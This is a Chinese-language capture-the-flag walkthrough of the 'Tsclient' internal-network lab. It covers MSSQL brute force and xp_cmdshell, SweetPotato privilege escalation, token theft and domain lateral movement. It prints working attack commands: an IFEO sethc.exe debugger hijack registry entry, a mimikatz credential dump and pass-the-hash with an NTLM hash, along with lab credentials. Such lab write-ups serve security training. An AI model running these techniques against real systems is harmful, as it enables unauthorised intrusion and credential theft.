【内网渗透】春秋云镜 Tsclient WP

前言

mssql连接和攻击、windows提权、令牌窃取、镜像劫持

flag1

上来就扫给的地址
nmap:

结合题目的mssql知识点，估计是从这里入手了，尝试爆破用户名和密码，这里先用fscan来爆，可以直接爆出来（别的工具也可）

得到

sa 1qaz!QAZ

用这个工具去进行后面的攻击

https://github.com/SafeGroceryStore/MDUT/releases/tag/v2.1.1

激活组件下的Xpcmdshell即可命令执行
尝试访问Users/Administrator下的文件无回显，新建文件报错，目前我们没有权限读取，那么先配代理，不配代理远程桌面都连不上。chisel:

跳板机这边是windows，所以要下windows的chisel.exe，跳板机上执行的命令就多个.exe，其他一样。
配好以后打开本机proxifier配置代理服务，不再赘述。
上传甜土豆，地址如下

https://github.com/uknowsec/SweetPotato

(刚打的时候我也疑惑，为什么就知道要上传甜土豆，然后大哥们说都是经验…
不过甜土豆确实可以针对大部分的windows去提权)
直接利用

-a 后面加命令 这里我添加一个用户为sapphire，命令自查，然后给最高权限

登陆找到flag1

flag2

给了提示Maybe you should focus on user sessions
注意会话状态
quser命令 # 查看当前服务器用户连接状态

发现有个john在连接这台机子，所以这台主机是存在John的令牌的，尝试进行令牌窃取，这里我参考别人的文章用的ShrakToken，会报错，安装这个就行



安装结束以后就可以用了，用上面提到的数据库连接软件上传SharkToken.exe进来，然后使用管理员权限打开cmd，用sharktoken进行令牌窃取

窃取以后 net use查看有个网络共享的文件夹

读取文件

得到一个用户名和密码，并且提示镜像劫持。

xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#登陆

做好信息收集，fscan扫C段

NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:2096:324f:d89b:c8fb
[*] 172.22.8.31          XIAORANG\WIN19-CLIENT      
NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] 172.22.8.15    [+]DC XIAORANG\DC01              
[*] WebTitle:http://172.22.8.18        code:200 len:703    title:IIS Windows Server.
[*] 172.22.8.46          XIAORANG\WIN2016           Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.8.46        code:200 len:703    title:IIS Windows Server

本机是172.22.8.18
先看看本机情况

因为主DNS后缀为空，所以这个机子不在域内
那么还有三个机子

172.22.8.31 WIN19-CLIENT
172.22.8.15 [+]DC XIAORANG\DC01 域控
172.22.8.46 XIAORANG\WIN2016           Windows Server 2016 Datacenter

用crackmapexec进行一个枚举登陆，其实也不用，就这几台机子试一下就行了

proxychains  crackmapexec  smb 172.22.8.0/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' --loggedon-users

用rdesktop登陆，用户名Aldrich，密码Ald@rLMWuy7Z!#

proxychains rdesktop 172.22.8.46(试了以后只有这个可以)

登陆以后提示要改密码，那就改，改完以后用windows自带的远程桌面登陆，不然kali的太卡了

提示了镜像劫持，网上搜文章试试

Get-Acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

普通用户也可以创建，这里参考别人的

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

然后锁定屏幕，按5次shift即可，我这添加了个新管理员，其实直接将刚才登陆的用户设置成管理员就可以了,因为新添加的用户不在域内.

得到flag2

flag3

查看域管用户

接着上传mimikatz到172.22.8.46里，抓取hash，怎么上传文件百度就有
管理员权限运行cmd,提权，抓密码

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

刚好这里有域管的NTLM
使用mimikatz进行hash传递攻击

.\mimikatz.exe
sekurlsa:pth /user:目标机器用户名 /domain:目标机器IP /ntlm:本地获取的NTLM hash值
例如：sekurlsa::pth /user:administrator /domain:192.168.3.133 /ntlm:afff........

那么就是

sekurlsa::pth /user:WIN2016$ /domain:g1ts /ntlm:e64a6ccc013938f2c6daaa63480727c5

然后就会弹出一个cmd.exe可以直接访问到域控的文件，拿到flag3